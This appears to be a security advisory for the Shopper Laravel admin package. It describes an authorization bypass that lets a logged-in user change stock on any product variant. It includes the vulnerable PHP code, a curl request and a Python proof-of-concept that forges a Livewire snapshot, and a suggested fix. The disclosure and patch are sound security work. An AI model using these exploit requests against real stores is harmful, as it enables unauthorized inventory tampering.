Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
    return Action::make('stock')
        ->label(__('shopper::forms.actions.update'))
        ->color('gray')
        ->icon(Untitledui::Package)
        ->modalHeading(__('shopper::pages/products.modals.variants.title'))
        ->modalWidth(Width::Large)
        ->schema([
            Select::make('inventory')
                ->label(__('shopper::pages/products.inventory_name'))
                ->options(Inventory::query()->pluck('name', 'id'))
                ->native(false)
                ->required(),
            TextInput::make('quantity')
                ->label(__('shopper::forms.label.quantity'))
                ->placeholder('-10 or -5 or 50, etc')
                ->numeric()
                ->required(),
        ])
        ->action(function (array $data): void {
            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
            // with no permission check anywhere in this path
        });
}

# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.

# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "$XSRF" \
  -H "Cookie: $SESSION" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
    }]
  }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  VARIANT_ID      integer ID of any target variant
  INVENTORY_ID    integer ID of the target inventory location
  QUANTITY        integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
variant_id    = int(os.environ['VARIANT_ID'])
inventory_id  = int(os.environ['INVENTORY_ID'])
quantity      = int(os.environ['QUANTITY'])

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'variant': variant_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callAction',
            'params': ['stock', {
                'inventory': inventory_id,
                'quantity': quantity,
            }]
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

// packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked]                     // prevent client-side ID substitution
public $variant;

public function stockAction(): Action
{
    return Action::make('stock')
        ->authorize('edit_product_variants')   // add this
        // ... rest of the action